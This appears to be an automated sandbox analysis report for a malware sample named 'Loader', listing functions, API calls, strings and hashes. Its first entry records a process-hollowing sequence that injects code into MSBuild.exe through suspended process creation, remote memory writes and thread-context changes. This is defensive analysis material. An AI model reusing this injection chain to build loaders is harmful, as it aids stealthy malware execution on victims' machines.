Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00350110,00350100), ref: 00350334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00350347
Wow64GetThreadContext.KERNEL32(00000094,00000000), ref: 00350365
ReadProcessMemory.KERNELBASE(0000008C,?,00350154,00000004,00000000), ref: 00350389
VirtualAllocEx.KERNELBASE(0000008C,?,?,00003000,00000040), ref: 003503B4
WriteProcessMemory.KERNELBASE(0000008C,00000000,?,?,00000000,?), ref: 0035040C
WriteProcessMemory.KERNELBASE(0000008C,00400000,?,?,00000000,?,00000028), ref: 00350457
WriteProcessMemory.KERNELBASE(0000008C,?,?,00000004,00000000), ref: 00350495
Wow64SetThreadContext.KERNEL32(00000094,029D0000), ref: 003504D1
ResumeThread.KERNELBASE(00000094), ref: 003504E0

Strings

WriteProcessMemory, xrefs: 003502AF
ResumeThread, xrefs: 003502D8
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00350333
VirtualAllocEx, xrefs: 0035029C
ress, xrefs: 00350226
Load, xrefs: 003501DA
GetP, xrefs: 0035021E
aryA, xrefs: 003501E2
TerminateProcess, xrefs: 003503C3
ReadProcessMemory, xrefs: 00350289
VirtualAlloc, xrefs: 00350263
SetThreadContext, xrefs: 003502C2
GetThreadContext, xrefs: 00350276
CreateProcessW, xrefs: 00350250

Memory Dump Source

Source File: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 1891f71480268063efe202a7b735b156c1e7c8ea566715218bbe1ce8df8a0e02
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: E8B1087660064AAFDB60CF68CC80FDA73A5FF88714F158524EA08AB351D770FA45CB94

Function 00321C10 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 108
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00321C3B
CreateFileA.KERNELBASE ref: 00321C94
GetFileSize.KERNEL32 ref: 00321CC3
CloseHandle.KERNEL32 ref: 00321CDF

Strings

CreateFileA, xrefs: 00321C2E

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: File$AddressCloseCreateHandleProcSize
String ID: CreateFileA
API String ID: 2547132502-1429953656
Opcode ID: bcaace1852efb5552b20a57389d809474cd5f3f9f35b96ca0830673504547e1f
Instruction ID: 533097114c8b68555f689c5a1a8f3d0cb896ec2f5760232fc5e9618ce9abc82c
Opcode Fuzzy Hash: bcaace1852efb5552b20a57389d809474cd5f3f9f35b96ca0830673504547e1f
Instruction Fuzzy Hash: D14107B4D08219DFCB01EFA8D5487AEBBF0BF49310F008429E899AB350D774A545CF92

Function 00336602 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,DAF5BA3C,?,00336711,00000000,00000000,00000000,00000000), ref: 003366C3

Strings

ext-ms-, xrefs: 0033666D
api-ms-, xrefs: 00336659

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 430e5cd0b8a33b51684df382fe25dd9dc5cf1c382a94b3ea0e4146084f0a7e5a
Instruction ID: 1d84201713488179e8682a226fb5ea9b2a8a10ea12645d5fd4000f3359c4771e
Opcode Fuzzy Hash: 430e5cd0b8a33b51684df382fe25dd9dc5cf1c382a94b3ea0e4146084f0a7e5a
Instruction Fuzzy Hash: 5F21D835A01215BFC7339B61DCC7A5A376CAB417A1F164114ED05AB290DB70FD00CAD1

Function 00336DEA Relevance: 7.7, APIs: 5, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00336E6F
__alloca_probe_16.LIBCMT ref: 00336F38
__freea.LIBCMT ref: 00336F9F

Part of subcall function 003356B1: RtlAllocateHeap.NTDLL(00000000,00337635,?,?,00337635,00000220,?,?,?), ref: 003356E3

__freea.LIBCMT ref: 00336FB2
__freea.LIBCMT ref: 00336FBF

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: de51947b728e4919af57dfe1cd0a94c718167b8bde213adfcc00fc8eb440f645
Instruction ID: 0935bc0dcdd65d179d7e615509e28c55c42d1e6411cfc8462f3ff133af578565
Opcode Fuzzy Hash: de51947b728e4919af57dfe1cd0a94c718167b8bde213adfcc00fc8eb440f645
Instruction Fuzzy Hash: 00519172600206BFDB239E61ECC3EABBAA9DF44710F16812DFD05DB201EB71DC1096A0

Function 00321DB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00321E6E
VirtualProtect.KERNELBASE ref: 00321EC3

Strings

VirtualProtect, xrefs: 00321E61
@, xrefs: 00321EB7

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: AddressProcProtectVirtual
String ID: @$VirtualProtect
API String ID: 3759838892-29487290
Opcode ID: c7c1b6711b0159b3e52762f7d6f40ae089c0182dce2b6d27aa10084c52aa6c94
Instruction ID: 2635ce674508395ded6456a8138abe65c4f14bec2dc8719c72f4caadf55bcbbd
Opcode Fuzzy Hash: c7c1b6711b0159b3e52762f7d6f40ae089c0182dce2b6d27aa10084c52aa6c94
Instruction Fuzzy Hash: BD41F3B4901319DFDB04DFA9E99869EBBF4FF08304F118419E858AB390D775A984CF81

Function 0032F253 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(0032F160,?,0032F315,00000000,?,?,0032F160,DAF5BA3C,?,0032F160), ref: 0032F264
TerminateProcess.KERNEL32(00000000,?,0032F315,00000000,?,?,0032F160,DAF5BA3C,?,0032F160), ref: 0032F26B
ExitProcess.KERNEL32 ref: 0032F27D

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 42a87f7ce5e3f35e5297d09c4b543afcd3b967ad1804c294b12521b0422fd5d1
Instruction ID: 8fb713e86db923a29d2ebaed5067818bbede0693577fa480cb3c3ad19abead0d
Opcode Fuzzy Hash: 42a87f7ce5e3f35e5297d09c4b543afcd3b967ad1804c294b12521b0422fd5d1
Instruction Fuzzy Hash: 59D06C3A000228EFDF022F60EC098593F7ABF4A765B884434B9095E162DF36A9529A81

Function 0033D364 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0033D70E: GetConsoleOutputCP.KERNEL32(DAF5BA3C,00000000,00000000,?), ref: 0033D771

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,0032D7F2,?,0032DA54), ref: 0033D4E9
GetLastError.KERNEL32(?,0032D7F2,?,0032DA54,?,0032DA54,?,?,?,?,?,?,?,00000000,?,?), ref: 0033D4F3

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: c8344977f458d590ce0ade7488d9d752503cf598e1a0be4f0afd4f8c99f25762
Instruction ID: e3a287b1b91ee3e0c4b7587c5622a7ee6256138fd4b1113272d65a275f51659e
Opcode Fuzzy Hash: c8344977f458d590ce0ade7488d9d752503cf598e1a0be4f0afd4f8c99f25762
Instruction Fuzzy Hash: 7961B2B5D04219AFDF13CFA8E8C4AEEBBB9AF4A314F150145F804AB252D735D941CBA1

Function 00337268 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0033746D: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00337498

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00337678,?,00000000,?,?,?), ref: 003372C9
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00337678,?,00000000,?,?,?), ref: 00337305

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 41d49aed000e43b93fb3490782f043b878c2a349bbe8a1e2623cf74645d82804
Instruction ID: 8e8942620e5680cb3a9c671763e42a39d5019291eb639514a66f219e3b8000ee
Opcode Fuzzy Hash: 41d49aed000e43b93fb3490782f043b878c2a349bbe8a1e2623cf74645d82804
Instruction Fuzzy Hash: 355123B4A082458EDB33CF36C8C06AEBBF5FF45310F19446ED4868B252D774A946DB90

Function 0033DB3D Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,0033D4CF,?,0032DA54,?,?,?,00000000), ref: 0033DBD9
GetLastError.KERNEL32(?,0033D4CF,?,0032DA54,?,?,?,00000000,?,?,?,?,?,0032D7F2,?,0032DA54), ref: 0033DBFF

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: cf30a28161da970bbfd73d022783c911183524502e7e599505a8fa7d58254f82
Instruction ID: 0bd79d7fd1b7e19414da858371ffd9d83c95ebe970235d23021889b8c6dcd025
Opcode Fuzzy Hash: cf30a28161da970bbfd73d022783c911183524502e7e599505a8fa7d58254f82
Instruction Fuzzy Hash: 52219F34A102199BCF1ACF29EC809E9B7B9FB49305F1440A9E946D7251D630EE82CF60

Function 00337152 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,00337041,0034FCD8,0000000C), ref: 0033719E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,00337041,0034FCD8,0000000C), ref: 003371B0

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 74542d0a4b9eec4b1e332fbaef3d723c7cfebacf27a491f145a230be1c31ef94
Instruction ID: 256c36c0d6d4359aab3bd5acac1ede51babecb15068eab9cc564b1ed0c57b413
Opcode Fuzzy Hash: 74542d0a4b9eec4b1e332fbaef3d723c7cfebacf27a491f145a230be1c31ef94
Instruction Fuzzy Hash: F91196B3D0C7514ACB324E3E8CC8A227AA9A757370F390759D4B7869F2D630D847D641

Function 00322010 Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00322038
GetModuleFileNameW.KERNEL32 ref: 00322058

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: Module$FileHandleName
String ID:
API String ID: 4146042529-0
Opcode ID: f2195e9480c4cf17dc3b20de4db66b20079afb8b601e0d407cbd45d88ff7a4cd
Instruction ID: b4235188145cda9e661f8f86414c2d41eb5d87b3d97afd9b78276f339bfca481
Opcode Fuzzy Hash: f2195e9480c4cf17dc3b20de4db66b20079afb8b601e0d407cbd45d88ff7a4cd
Instruction Fuzzy Hash: 7F01DAB09042189FCB15EF68E54969DBBF8FF48300F4045ADE49997241EB746A888F52

Function 003364B3 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00336EDA,?,?,-00000008,?,00000000,00000000,00000000,00000000,00000000), ref: 003364E7
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,-00000008,-00000008,?,00336EDA,?,?,-00000008,?,00000000), ref: 00336505

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 491db9cd17aea077176b75f343a30fd4fa766b246f99f66fe625d28edb15ba40
Instruction ID: 669c981efc4172fc35597076826a88ce0aef7c2a77cdb4103850695918c94468
Opcode Fuzzy Hash: 491db9cd17aea077176b75f343a30fd4fa766b246f99f66fe625d28edb15ba40
Instruction Fuzzy Hash: DDF07A3640011ABBCF136F91DC16DDE3F2AFF49760F058510FA1869020CB36D971AB90

Function 00335677 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00339A24,?,00000000,?,?,003396C4,?,00000007,?,?,0033A00A,?,?), ref: 0033568D
GetLastError.KERNEL32(?,?,00339A24,?,00000000,?,?,003396C4,?,00000007,?,?,0033A00A,?,?), ref: 00335698

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 945e1ab0e27d2df10fccea85db1d7966a586a2ce3b2c87f298ed8a101874f043
Instruction ID: 8d1a921de090baf55cdab15c99c91ec697ba2d06703b99e22daced73cd18122b
Opcode Fuzzy Hash: 945e1ab0e27d2df10fccea85db1d7966a586a2ce3b2c87f298ed8a101874f043
Instruction Fuzzy Hash: B1E08C3A200658ABCF132BA0EC49B997A9CAF01751F114020F608CA060CB309850CB85

Function 003214C0 Relevance: 1.8, APIs: 1, Instructions: 308
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 0032150B

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: edc7d33045fcb9f2857879dc306e015d330668fdaec3e5b2d7a46e3f42d15516
Instruction ID: 1d50badb747688a73498cde1c4713a5a92977ecf1cd72ffc96eb13402a4912e0
Opcode Fuzzy Hash: edc7d33045fcb9f2857879dc306e015d330668fdaec3e5b2d7a46e3f42d15516
Instruction Fuzzy Hash: 8AD15774604B548FC725EF39D284A6ABBE0BF58714F108A1DE8878BB91D735F904CB81

Function 003377F7 Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(00000083,?,00000005,00337678,?), ref: 00337829

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: f61b9e3a4bead87da1b90efff6c2316f24a8b0abf34ad391ead103812fa12b27
Instruction ID: ae1e3dafba1b11651e0919336b25d55a78521ab24b9bff164a605932c561f55d
Opcode Fuzzy Hash: f61b9e3a4bead87da1b90efff6c2316f24a8b0abf34ad391ead103812fa12b27
Instruction Fuzzy Hash: 125127F190C158AEDB228A28CDC5BE9BBADFB15304F1402E9E589CB142D335AD85CF60

Function 00328530 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb305d84cfad88b223dcee95e00df32891c8fc7e9afddce91a69c20297cfba97
Instruction ID: cf30dbdd6e12d301e266d879fd9750017ef09e83f402c3eefdb93106001ec91a
Opcode Fuzzy Hash: cb305d84cfad88b223dcee95e00df32891c8fc7e9afddce91a69c20297cfba97
Instruction Fuzzy Hash: 83419131A0112AAFCB16DF68D4909EDB7B9FF09310F24416AE541E7A40EB31F955DB90

Function 003366CD Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
